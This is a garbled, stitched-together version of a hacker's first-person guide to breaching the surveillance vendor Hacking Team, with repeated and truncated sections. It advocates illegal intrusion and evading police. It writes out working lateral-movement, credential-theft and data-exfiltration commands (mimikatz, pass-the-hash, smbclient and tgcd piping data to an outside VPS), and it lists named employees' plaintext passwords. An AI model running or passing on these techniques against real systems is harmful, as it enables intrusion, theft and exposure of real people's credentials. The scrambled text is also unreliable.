Hackback - A DIY GUIDE 1

'Hacking Team attack'

Phineas Fisher

17 Apr 2016
You’ll notice the change in language since the last edition. The English-speaking world already has tons of books, talks, guides, and info about hacking. In that world, there’s plenty of hacker but they misuse their talents working for “defense” contractors, for intelligence agencies, to protect banks and corporations, and to defend the status quo. Hacker culture was born in the US as a counterculture, but that origin only remains in its aesthetics - the rest has been assimilated. At least they can wear a t-shirt, dye their hair blue, use their hacker names, and feel like rebels while they work for the Man.

You used to have to sneak into offices to leak documents. You used to need a gun to rob a bank. Now you can do both from bed with a laptop in hand. Like the CNT said after the Gamma Group hack: “Let’s take a step forward with new forms of struggle.” Hacking is a powerful tool, let


Hacking Team was a company that helped governments hack and
Unfortunately, our world is backwards. You get rich by doing bad things and go to jail for doing good. Fortunately, thanks to the hard work of people like the Tor project [1], you can avoid going to jail by taking a few simple precautions:

1) Encrypt your hard disk [2]

I guess when the police arrive to seize your computer, it means you've already made a lot of mistakes, but it's better to be safe.

2) Use a virtual machine with all traffic routed through Tor

---[ 3 - Stay safe out there ]-----------------------------------
This accomplishes two things. First, all your traffic is anonymized through Tor. Second, keeping your personal life and your hacking computers helps you not to mix them by accident.

You can use projects like Whonix [3], Tails [4], Qubes TorVM [5], or something custom [6]. Here’s [7] a detailed comparison.

3) (Optional) Don’t connect directly to Tor

Tor isn’t a panacea. They can correlate the times you’re with the times your hacker handle is active. Also, there successful attacks against Tor [8]. You can connect to T peoples’ wifi. Wifislax [9] is a linux distro with a lot cracking wifi. Another option is to connect to a VPN or before Tor, but that’s less secure because they can stil hacker’s activity with your house’s internet activity (t evidence against Jeremy Hammond [11]).

The reality is that while Tor isn’t perfect, it works qu was young and reckless, I did plenty of stuff without an referring to hacking) apart from Tor, that the police tr to investigate, and I’ve never had any problems.

Hacking Team saw themselves as part of a long line of inspired [1]. I see Vincenzetti, his company, his cronies in the pol and government, as part of a long tradition of Italian fasci to dedicate this guide to the victims of the raid on the Arman to all those who have had their blood spilled by Italian fa

[1] https://twitter.com/coracurrier/status/618104723263090688

underdog a chance to fight and win.

Hacking guides often end with a disclaimer: this information educational purposes only, be an ethical hacker, don’t att don’t have permission to, etc. I’ll say the same, with a conception of ”ethical” hacking. Leaking documents, exprop banks, and working to secure the computers of ordinary pe hacking. However, most people that call themselves ”ethical to secure those who pay their high consulting fees, who are deserving to be hacked.

To send me spear phishing attempts, death threats in Italian [1], I see Vincenzetti, his company, his cronies in the pol and government, as part of a long tradition of Italian fasci

[2] https://twitter.com/CthulhuSec/status/619459002854977537

-----BEGIN PGP PUBLIC KEY BLOCK-----
mQENBFVp37MBCACu0rMiDtOtn98NurHUPYyI3Fua+bmF2E70UihTodv4F/NvDZhKhgeLVSns5oSimBKhv4Z2bzvvc1w/00JH7ULTcZNbt9W0xtLEs+Cj27QIfOJGFL/zM2GYWItiKr88y95YLJxvrmMmJEDwonTECY68RNaoohjy/Tc+FCM40HxM4AwkqbaAtqUwAJ3Wxr+Hr/3KV+UNV11BP1GYSnV+0A4m8WXa

4

25
Within Christian Pozzi’s Truecrypt volume, there was a text file with many passwords [1]. One of those was for a Fully Automated Nagios server, which had access to the Sviluppo network in order to monitor it. I’d found the bridge I needed. The text file just had the password to the web interface, but there was a public code execution exploit [2] (it’s an unauthenticated exploit, but it requires that at least one user has a session initiated, for which I used the password from the text file).

---[ 15 - The bridge ]-----------------------------------------------------------

I don’t hack directly from Tor exit nodes. They’re on blacklists, slow, and they can’t receive connect-backs. Tor protects my anonymity while I connect to the infrastructure I use to hack, which consists of:

1) Domain Names

For C&C addresses, and for DNS tunnels for guaranteed egress.

2) Stable Servers

For use as C&C servers, to receive connect-back shells, and to store the loot.

3) Hacked Servers

For use as pivots to hide the IP addresses of the stable servers when I want a fast connection without pivoting, for example to scan the whole internet, download a database with sqli, etc.

Obviously, you have to use an anonymous payment method, like bitcoin (if it’s used carefully).

---[ 3.2 - Attribution ]-------------------------------------------------------

In the news we often see attacks traced back to government-backed hacking groups (“APTs”), because they repeatedly use the same tools, leave the same footprints, and even use the same infrastructure (domains, emails, etc). They’re negligent because they can hack without legal consequences.

I didn’t want to make the police’s work any easier by relating my hack of Hacking Team with other hacks I’ve done or with names I use in my day-to-day work as a blackhat hacker. So, I used new servers and domain names.

---[ 16 - Reusing and resetting passwords ]-------------------------------------

Reading the emails, I’d seen Daniele Milan granting access already had his windows password thanks to mimikatz. I tried to use it. It worked. Then I tried sudo and it worked. For their twitter account, I used the ”forgot my password” my access to their mail server to reset the passwords.

---[ 17 - Conclusion ]--------------------------------------------------------

That’s all it takes to take down a company and stop their human rights abuses. That’s the beauty and asymmetry of hacking: with 100 hours of work by a multi-million dollar company, I can undo years of work by a multi-million dollar company. H
with new emails, and payed for with new bitcoin addresses. tools that are publicly available, or things that I wrote s this attack, and I changed my way of doing some things to n forensic footprint.

--[ 4 - Information Gathering ]-------------------------------

Although it can be tedious, this stage is very important, s attack surface, the easier it is to find a hole somewhere i

----[ 4.1 - Technical Information ]-----------------------------

Some tools and techniques are:

1) Google

A lot of interesting things can be found with a few well queries. For example, the identity of DPR [1]. The bible is the book 'Google Hacking for Penetration Testers'. Yc summary in Spanish at [2].

2) Subdomain Enumeration

Often, a company’s main website is hosted by a third par the company’s actual IP range thanks to subdomains like ns1.company.com. Also, sometimes there are things that s in ‘hidden’ subdomains. Useful tools for discovering dom are fierce [3], theHarvester [4], and recon-ng [5].

3) Whois lookups and reverse lookups

With a reverse lookup using the whois information from a of a company, you can find other domains and IP ranges. there’s no free way to do reverse lookups aside from a g

[5] http://www.slideshare.net/harmj0y/i-have-the-powerview
[8] https://github.com/mubix/netview
[10] https://adsecurity.org/?page_id=41
[12] https://github.com/PowerShellMafia/PowerSploit

Reading their documentation about their infrastructure [1], still missing access to something important - the 'Rete Sviluppo' network with the source code for RCS. The sysadmins of a company to see everything, so I searched the computers of Mauro Romeo and Christian Pozzi to see how they administer the Sviluppo network, and if there were any other interesting systems I should investigate. It was simple to access their computers, since they were part of the windows already gotten admin access. Mauro Romeo’s computer didn’t have any ports open, so I opened the port for WMI [2] and executed meterpreter [3]. In addition to keylogging and screen scraping with Get-Keystrokes and Get-TimeScreenshot, I used many /gather/ modules from metasploit, CredMan.ps1 [4], and searched for interesting files [5]. Upon seeing that Pozzi had a Truecrypt volume, I waited until he’d mounted it and then copied files. Many have made fun of Christian Pozzi’s weak passwords, Christian Pozzi in general, he provides plenty of material [6][7][8][9]. I included them in the leak as a false clue, and to laugh at that mimikatz and keyloggers view all passwords equally.
the network with powerview:

```
Invoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMIN$ |
select-string '^\(.*\) \t-' | %{dir -recurse $_.Matches[0].Groups[1] |
select fullname | out-file -append files.txt}
```

Later, you can read it at your leisure and choose which files to download.

2) Reading email

As we've already seen, you can download email with powershell, and it has a lot of useful information.

3) Reading sharepoint

It's another place where many businesses store a lot of information. It can also be downloaded with powershell [12].


It has a lot of useful information about users and computers. Domain Admin, you can already get a lot of info with powertools [12]. After getting Domain Admin, you should export information with csvde or another tool.

5) Spy on the employees

One of my favorite hobbies is hunting sysadmins. Spying (one of Hacking Team’s sysadmins) gave me access to a NaSe gave me access to the rete sviluppo (development network code of RCS). With a simple combination of Get-Keystroke Get-TimedScreenshot from PowerSploit [13], Do-Exfiltration [14], and GPO, you can spy on any employee, or even on the whole domain.

```
"via della moscova 13" site:www.findip-address.com
"via della moscova 13" site:domaintools.com
```

4) Port scanning and fingerprinting

Unlike the other techniques, this talks to the company’s servers directly. I include it in this section because it’s not an attack, it’s information gathering. The company’s IDS might generate alerts, but you don’t have to worry since the whole internet is being scanned constantly.


[5] https://bitbucket.org/LaNMaSteR53/recon-ng
[8] https://github.com/robertdavidgraham/masscan

---[ 4.2 - Social Information ]-------------------------------------------

For social engineering, it’s useful to have information about the employees’ roles, contact information, operating system, browser software, etc. Some resources are:

1) Google

Here as well, it’s the most useful tool.
2) theHarvester and recon-ng

I already mentioned them in the previous section, but they have a lot more functionality. They can find a lot of information quickly and automatically. It’s worth reading all their documentation.

3) LinkedIn

A lot of information about the employees can be found here. The company’s recruiters are the most likely to accept your connection requests.

4) Data.com

Previously known as jigsaw. They have contact information for many employees.

5) File Metadata

A lot of information about employees and their systems can be found in metadata of files the company has published. Useful tools for finding files on the company’s website and extracting the metadata are metagoofil [1] and FOCA [2].

[1] https://github.com/laramies/metagoofil

----[ 5 - Entering the network ]------------------------------------------

There are various ways to get a foothold. Since the method Hacking Team is uncommon and a lot more work than is usually talk a little about the two most common ways, which I recon

----[ 5.1 - Social Engineering ]------------------------------------------

8


----[ 13.2 - Persistence ]-----------------------------------------------

Once you have access, you want to keep it. Really, persistence is a challenge for assholes like Hacking Team who target activists and other individuals. To hack companies, persistence isn’t needed since they never sleep. I always use Duqu 2 style ”persistence”, executing in high-uptime servers. On the off chance that they reboot, I have passwords and a golden ticket [1] as backup access. I read about the different techniques for persistence in windows here [2] [3] [4]. But for hacking companies, it’s not needed and it increases the risk of detection.


----[ 13.3 - Internal reconnaissance ]--------------------------------------

The best tool these days for understanding windows networks is Powerview [1]. It’s worth reading everything written by it’s author [2], e.g. [5], and [6]. Powershell itself is also quite powerful [7]. But many windows 2000 and 2003 servers without powershell, you have to use the old school [8], with programs like netview.exe [9] or the ”net view”. Other techniques that I like are:

1) Downloading a list of file names

With a Domain Admin account, you can download a list of
"In place" Movement:

1) Token Stealing

Once you have admin access on a computer, you can use the tokens of other users to access resources in the domain. Two tools, incognito [1] and the mimikatz token::* commands [2].

2) MS14-068

You can take advantage of a validation bug in Kerberos to generate Domain Admin tickets [3][4][5].

3) Pass the Hash

If you have a user’s hash, but they’re not logged in, you can use sekurlsa::pth [2] to get a ticket for the user.

4) Process Injection

Any RAT can inject itself into other processes. For example, the migrate command in meterpreter and pupy [6], or the psinject [7] command in powershell empire. You can inject into the process that has the token you want.

5) runas

This is sometimes very useful since it doesn’t require a new admin account. The command is part of windows, but if you don’t have a powershell [8].

Social engineering, specifically spear phishing, is responsible for the majority of hacks these days. For an introduction in Spanish, see [1]. For more information in English, see [2] (the third part, "Targeted Attacks"). I didn’t want to try to spear phish Hacking Team, as they are helping governments spear phish their opponents, so they are likely to recognize and investigate a spear phishing attempt.


Thanks to hardworking Russians and their exploit kits, traffic sellers, and bot herders, many companies already have compromised computers in their networks. Almost all of the Fortune 500, with their huge networks, have some bots already inside. However, Hacking Team is a very small company, and most of its employees are infosec experts, so there was a low chance they had already been compromised.

After the Gamma Group hack, I described a process for searching for vulnerabilities [1]. Hacking Team had one public IP range:

inetnum: 93.62.139.32 - 93.62.139.47
descr: HT public subnet

Hacking Team had very little exposed to the internet. For example, Gamma Group, their customer support site needed a client certificate to connect. What they had was their main website (a Joomla blog [2] didn’t find anything serious), a mail server, a couple of other devices, and a spam filtering appliance. So, I had three options: look for a 0day in Joomla, look for a 0day in postfix, or look for a 0day in the embedded devices. A 0day in an embedded device seemed like the easiest option.
and after two weeks of work reverse engineering, I got a remote root exploit.
Since the vulnerabilities still haven’t been patched, I won’t give more details, but for more information on finding these kinds of vulnerabilities, see [3] and [4].

[4] https://docs.google.com/presentation/d/1-mtBSka1ktdh8Rs---

I did a lot of work and testing before using the exploit against Hacking Team. I wrote a backdoored firmware, and compiled various post-exploitation tools for the embedded device. The backdoor serves to protect the exploit just once and then returning through the backdoor to identify and patch the vulnerabilities.

The post-exploitation tools that I’d prepared were:

1) busybox

For all the standard Unix utilities that the system didn’t have.

2) nmap

To scan and fingerprint Hacking Team’s internal network.

3) Responder.py

The most useful tool for attacking Windows networks when you have access to the internal network, but no domain user.

4) Python

10

3) PSRemoting [10]

It’s disabled by default, and I don’t recommend enabling new protocols. But, if the sysadmin has already enabled it, it’s very convenient, especially if you use powershell for almost everything, it will change [11] with windows 10, but for now powershell makes it easy to do everything, avoid AV, and leave a small footprint.

4) Scheduled Tasks

You can execute remote programs with at and schtasks [5] in the same situations where you could use psexec, and it also leaves a well known footprint [12].

5) GPO

If all those protocols are disabled or blocked by the firewall, once you’re Domain Admin, you can use GPO to give users a login script, execute a scheduled task [13], or, like we’ll see with the computer of Mauro Romeo (one of Hacking Team’s sysadmins), use GPO to open the firewall.

[6] https://github.com/byt3bl33d3r/pth-toolkit
I’ll give a brief review of the different techniques for spreading within a Windows network. The techniques for remote execution require the password or hash of a local admin on the target. By far, the most common way of obtaining those credentials is using mimikatz [1], especially sekurlsa::msv, on the computers where you already have administrative privileges (except for runas). The most important tools for privilege escalation are PowerUp [2], and bypassuac [3].

[1] https://adsecurity.org/?page_id=1821  
[3] https://github.com/PowerShellEmpire/Empire/blob/master/data/module_source/privesc/Invoke-BypassUAC.ps1

Remote Movement:

1) psexec

The tried and true method for lateral movement on Windows. You can use psexec [1], winexe [2], metasploit’s psexec_psh [3], PowerShell Empire’s invoke_psexec [4], or the built-in Windows command "sc" [5], metasploit module, powershell empire, and pth-winexe [6] hash, not the password. It’s the most universal method (Windows computer with port 445 open), but it’s also the Event type 7045 "Service Control Manager" will appear in the event logs. In my experience, no one has ever noticed during a hack, but investigators piece together what the hacker did afterwards.

2) WMI

The most stealthy method. The WMI service is enabled on computers, but except for servers, the firewall blocks it. You can use wmiexec.py [7], pth-wmis [6] (here’s a demonstration of wmiexec and pth-wmis [8]), Powershell Empire’s invoke_wmi [9], or th wmic [5]. All except wmic just need the hash.

To execute Responder.py

5) tcpdump

For sniffing traffic.

6) dsniff

For sniffing passwords from plaintext protocols like ftp and arpspoofing. I wanted to use ettercap, written by Hackin and NaGA, but it was hard to compile it for the system.

7) socat

For a comfortable shell with a pty:


And useful for a lot more, it’s a networking swiss army knife. See the examples section of its documentation.

8) screen

Like the shell with pty, it wasn’t really necessary, but it was at home in Hacking Team’s network.

9) a SOCKS proxy server

To use with proxychains to be able to access their local program.

10) tgcd

For forwarding ports, like for the SOCKS server, through...
The worst thing that could happen would be for my backdoor or post-exploitation tools to make the system unstable and cause an employee to investigate. So I spent a week testing my exploit, backdoor, and post-exploitation tools in the networks of other vulnerable companies before entering Hacking Team's network.

Now inside their internal network, I wanted to take a look around and think about my next step. I started Responder.py in analysis mode (-A to listen without sending poisoned responses), and did a slow scan with nmap.

NoSQL, or rather NoAuthentication, has been a huge gift to the hacker community. Just when I was worried that they’d finally patched all of the authentication bypass bugs in MySQL, new databases came into style that lack authentication by design. Nmap found a few in Hacking Team's internal network:

27017/tcp open mongodb MongoDB 2.6.5
| mongodb-databases:
| ok = 1
| totalSizeMb = 47547
12

company. Since with each step I take there’s a chance of being detected, I start downloading their email before continuing to explore. It's easy. Curiously, I found a bug with Powershell’s date handling. After downloading the emails, it took me another couple weeks to get access to the source code and everything else, so I returned every now and then to download the new emails. The server was Italian, with dates in the format day/month/year. I used:

```powershell
(ContentFilter {((Received -ge '05/06/2015') -or (Sent -ge '05/06/2015')) | New-MailboxExportRequest
```

with New-MailboxExportRequest to download the new emails (i.e. email since June 5). The problem is it says the date is invalid if you try a day larger than 12 (I imagine because in the US the month comes first and you can’t have a month above 12). It seems like Microsoft’s engineers only test their software with their own locale.

Now that I’d gotten Domain Admin, I started to download file shares using my proxy and the -Tc option of smbclient, for example:

```
proxychains smbclient '//192.168.1.230/FAE DiskStation' -U 'HACKINGTEAM/Administrator\uu8dd8nndd12!' -Tc FAE_DiskStation.tar '*'
```

I downloaded the Amministrazione, FAE DiskStation, and FileServer folders in the torrent like that.

Before continuing with the story of the "weones culiaos" (Hacking Team), I should give some general knowledge for hacking windows networks:

---[ 13.1 - Lateral Movement ]-------------------------------------------------

Before continuing with the story of the "weones culiaos" (Hacking Team), I should give some general knowledge for hacking windows networks:

---[ 13.1 - Lateral Movement ]-------------------------------------------------

```powershell
proxychains smbclient
```
It worked! The password for besadmin was still valid, and a local admin. I used my proxy and metasploit’s psexec_psh [4] to get a meterpreter session. Then I migrated to a 64 bit process, ran “load kiwi” [5], and got a bunch of passwords, including the Domain Admin:

HACKINGTEAM BESAdmin bes32678!!!
HACKINGTEAM Administrator uu8dd8ndd12!
HACKINGTEAM c.pozzi P4ssword <---- lol great sysadmin
HACKINGTEAM m.romeo ioLK/(90
HACKINGTEAM l.guerra 4luc@=.=
HACKINGTEAM d.martinez W4tudul3sp
HACKINGTEAM g.russo GCBr0s0705!
HACKINGTEAM a.scarafile Cd4432996111
HACKINGTEAM r.viscardi Ht2015!
HACKINGTEAM a.mino A!e$$andra
HACKINGTEAM m.bettini Ettore&Bella0314
HACKINGTEAM m.luppi Blackou7
HACKINGTEAM s.gallucci 1S9i8m04!
HACKINGTEAM d.milan set!dob66
HACKINGTEAM w.furlan Blu3.B3rry!
HACKINGTEAM d.romualdi Rd13136f@
HACKINGTEAM l.invernizzi L0r3nz0123!
HACKINGTEAM e.ciceri 202571&2E
HACKINGTEAM e.rabe erab@4HT!

They were the databases for test instances of RCS. The audio that RCS records is stored in MongoDB with GridFS. The audio folder in the torrent [6] came from this. They were spying on themselves without meaning to.

Although it was fun to listen to recordings and see webcam images of Hacking Team developing their malware, it wasn’t very useful. Their insecure backups were the vulnerability that opened their doors. According to their documentation [1], their iSCSI devices were supposed to be on a separate network, but nmap found a few in their subnetwork 192.168.1.200/24:

Nmap scan report for ht-synology.hackingteam.local (192.168.200.66)

3260/tcp open iscsi?

With the Domain Admin password, I have access to the email,
iscsi-info:
| Address: 192.168.200.66:3260,0 |
| Authentication: No authentication required |

Nmap scan report for synology-backup.hackingteam.local (192.168.200.72)
...
3260/tcp open iscsi?
iscsi-info:
| Address: 10.0.1.72:3260,0 |
| Address: 192.168.200.72:3260,0 |
| Authentication: No authentication required |

iSCSI needs a kernel module, and it would’ve been difficult to compile it for the embedded system. I forwarded the port so that I could mount it from a VPS:

VPS: tgcd -L -p 3260 -q 42838
Embedded system: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:4

VPS:iscsiadm -m discovery -t sendtargets -p 127.0.0.1

Now iSCSI finds the name iqn.2000-01.com.synology but has problems mounting it because it thinks its IP is 192.168.200.72 instead of 127.0.0.1

The way I solved it was:

tables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT --to-destination 127.0.0.1

And now, after:

iscsiadm -m node --targetname=iqn.2000-01.com.synology:sync

...the device file appears! We mount it:

vmfs-fuse -o ro /dev/sdb1 /mnt/tmp

and find backups of various virtual machines. The Exchange server seemed like the most interesting. It was too big to download, but it was possible to mount it remotely to look for interesting files:

$ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk
$ fdisk -l /dev/loop0
/dev/loop0p1 2048 125827103 629142528 7 M

so the offset is 2048 * 512 = 1048576

$ losetup -o 1048576 /dev/loop0 /dev/loop0
$ mount -o ro /dev/loop0 /mnt/exchange/

now in /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311 we find the hard disk of the VM, and mount it:

vdifuse -r -t VHD -f f0f7800a-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk
mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1

...and finally we’ve unpacked the Russian doll and can see the hard disk of the old Exchange server in /mnt/part1

[3] smbclient [3] to check the password:

proxychains smbclient '//192.168.100.51/c$' -U 'hackingteam.local/besadmin%bes32678!!!'

What interested me most in the backup was seeing if it had a password or hash that could be used to access the live server. I used pwdump, cachedump, and lsadump [1] on the registry hives. lsadump found the password to the besadmin service account:

_SC_BlackBerry MDS Connection Service
0000 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .
0010 62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00 b.e.s.3.2.6.7.8.
0020 21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 00 !.!.!...........

I used proxychains [2] with the socks server on the embedded device and smbclient [3] to check the password:

proxychains smbclient ’//192.168.100.51/c$’ -U ’hackingteam:besadmin%bes32678!!!’